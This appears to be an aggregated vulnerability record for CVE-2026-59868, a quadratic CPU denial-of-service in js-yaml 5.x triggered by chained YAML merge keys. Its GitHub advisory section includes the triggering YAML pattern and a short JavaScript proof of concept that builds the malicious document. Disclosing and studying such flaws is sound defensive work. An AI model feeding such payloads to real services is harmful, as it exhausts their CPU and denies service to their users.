{"id":"GHSA-g796-fgmg-93mv","revision":null,"records":[{"revision":"4c64ab6d2b254bca9e92701590d9fd4b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-59868","aliases":[],"title":"js-yaml: YAML merge-key chains can force quadratic CPU consumption","description":"js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. 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Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42302","identifiers":["EUVD-2026-42302","CVE-2026-59868","GHSA-g796-fgmg-93mv"]},"retained":false,"historicalAffected":[]},{"revision":"21d7c8ebc18e4a099299bfba93c23529","observedAt":"2026-10-27T15:15:33.457+00:00","statement":{"source":"nvd","id":"CVE-2026-59868","aliases":[],"title":"js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each…","description":"js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.","state":0,"publishedAt":"2026-07-08T16:16:33.27+00:00","modifiedAt":"2026-10-25T20:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1","https://github.com/nodeca/js-yaml/releases/tag/5.2.0","https://github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59868","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-407","CWE-770"],"productCriteria":["cpe:2.3:a:nodeca:js-yaml:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-07-08T16:16:33.270","lastModified":"2026-10-25T20:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-59868","identifiers":["CVE-2026-59868"]},"retained":false,"historicalAffected":[]},{"revision":"f6bc2b1a380d4f87972d35c27ad6ba41","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-g796-fgmg-93mv","aliases":["CVE-2026-59868"],"title":"js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml","description":"### Impact\n\nThis is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default\n\nWhen merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: &a0 { k0: 0 }\na1: &a1 { <<: *a0, k1: 1 }\na2: &a2 { <<: *a1, k2: 2 }\na3: &a3 { <<: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become > 1s (doc size < 100K)\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { Buffer } from 'node:buffer'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n  const lines = ['a0: &a0 { k0: 0 }']\n\n  for (let i = 1; i < count; i++) {\n    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)\n  }\n\n  lines.push(`b: *a${count - 1}`)\n  return `${lines.join('\\n')}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split('\\n').slice(0, 8).join('\\n'))\nconsole.log('...')\nconsole.log(source.split('\\n').slice(-4).join('\\n'))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.","state":0,"publishedAt":"2026-07-20T21:19:27+00:00","modifiedAt":"2026-07-20T21:30:38.3056491+00:00","affected":[{"ecosystem":"npm","name":"js-yaml","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0"},{"kind":"fixed","version":"5.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv","https://nvd.nist.gov/vuln/detail/CVE-2026-59868","https://github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1","https://github.com/nodeca/js-yaml","https://github.com/nodeca/js-yaml/releases/tag/5.2.0"],"sourceUrl":"https://github.com/advisories/GHSA-g796-fgmg-93mv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-g796-fgmg-93mv","identifiers":["GHSA-g796-fgmg-93mv","CVE-2026-59868"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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